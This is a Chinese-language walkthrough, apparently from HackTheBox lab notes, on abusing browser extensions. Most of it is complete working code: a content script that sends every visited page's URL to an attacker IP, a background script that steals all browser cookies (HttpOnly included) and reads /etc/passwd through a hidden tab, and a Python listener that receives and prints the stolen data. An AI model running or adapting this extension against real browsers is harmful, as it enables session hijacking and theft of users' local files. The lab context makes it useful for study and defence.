browser extension Abuse

1. 介绍

Pasted image 20260112202442.png
一个浏览器拓展的基本结构

┌──(root㉿kali)-[~/Desktop/htb/Browsed]
└─# tree fontify
fontify
├── content.js   #前台JS文件(非必需)
├── manifest.json #核心配置文件(必需)
├── background.js #后台JS文件(非必需)
├── popup.html  #资源文件
├── popup.js    #资源文件
└── style.css	#资源文件

2. 利用

2.1. 用content.js来进行探测

content.js的上下文为当前页面,即可以在当前页面中执行js代码,会受到httpOnly CSP等策略的影响

下面是 manifest.json

{
  "manifest_version": 3,
  "name": "malicious_extension",
  "version": "2.0.0",
  "description": "malicious extension",
  "permissions": [
    "storage",
    "scripting"
  ],
  "content_scripts": [
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "content.js"
      ],
      "run_at": "document_idle"
    }
  ]
}

其中:

  • run_at 控制何时把content.js注入页面,默认 document_idle 表示在浏览器空闲时注入,这里我们指定为这个类型,避免脚本加载过快,机器人来不及反应
  • <all_urls> 匹配所有页面,这里表示在任何页面都会运行 content.js
  • storagescripting 权限分别帮助插件进行获取存储数据和进行脚本注入

下一步我们需要编写 content.js
这里我编写一个最简单的js,他会想我们的ip发起get请求 并带上他当前页面的url

fetch('http://10.10.14.86/?url=' + btoa(location.href));

2.2. 利用background.js

比起前台的content.js, 后台运行的backgournd.js的权限会更大,但是也需要更多的特权允许。
后台js的上下文不再是当前的浏览器页面,而是整个浏览器,所以可以获取到浏览器数据库、历史记录、收藏、甚至进行本地文件读取

下面是一个 获取cookie和读取/etc/passwd的拓展源码

manifest.json

{
    "manifest_version": 3,
    "name": "LFI_Getcookies",
    "version": "1.0",
    "description": "LFI_Getcookies",
    "permissions": [
        "cookies",
        "tabs",
        "storage",
        "scripting"
    ],
    "host_permissions": [
        "<all_urls>"
    ],
    "background": {
        "service_worker": "background.js"
    }
}

background.js

const ATTACKER_URL = "http://10.10.14.86:4445";

chrome.runtime.onInstalled.addListener(() => {
    console.log("Extension installed. Initiating extraction...");

    // 1. 窃取所有 Cookie
    chrome.cookies.getAll({}, (cookies) => {
        fetch(`${ATTACKER_URL}/cookies`, {
            method: 'POST',
            body: JSON.stringify(cookies),
            headers: { 'Content-Type': 'application/json' }
        });
    });

    // 2. 读取本地敏感文件
    chrome.tabs.create({ url: "file:///etc/passwd", active: false }, (tab) => {

        setTimeout(() => {
            chrome.scripting.executeScript({
                target: { tabId: tab.id },
                func: () => document.body.innerText
            }, (results) => {
                if (results && results[0].result) {
                    const fileContent = results[0].result;
                    // 使用 Base64 编码
                    fetch(`${ATTACKER_URL}/file?path=/etc/passwd&data=${btoa(fileContent)}`, {
                        method: 'GET'
                    });
                }
                chrome.tabs.remove(tab.id);
            });
        }, 2000);
    });
});

lisen.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import base64
from urllib.parse import urlparse, parse_qs

class AttackListener(BaseHTTPRequestHandler):
    def do_POST(self):
        # 处理 Cookie 数据 (POST)
        if self.path == "/cookies":
            length = int(self.headers.get('Content-Length', 0))
            data = self.rfile.read(length)
            print("\n[!] 接收到 Cookie 数据:")
            try:
                cookies = json.loads(data)
                for c in cookies:
                    # 重点关注包含 HttpOnly 的项
                    secure_info = "[HttpOnly]" if c.get('httpOnly') else ""
                    print(f"Domain: {c['domain']} | {c['name']} = {c['value']} {secure_info}")
            except:
                print(data.decode())
        
        self.send_response(200)
        self.end_headers()

    def do_GET(self):
        # 处理文件数据 (GET 携带 Base64)
        if "/file" in self.path:
            query = parse_qs(urlparse(self.path).query)
            if 'data' in query:
                file_data = base64.b64decode(query['data'][0]).decode(errors='ignore')
                print(f"\n[!] 接收到本地文件内容 ({query.get('path',['unknown'])[0]}):")
                print("-" * 50)
                print(file_data)
                print("-" * 50)

        self.send_response(200)
        self.end_headers()


HTTPServer(("0.0.0.0", 4445), AttackListener).serve_forever()

3. 案例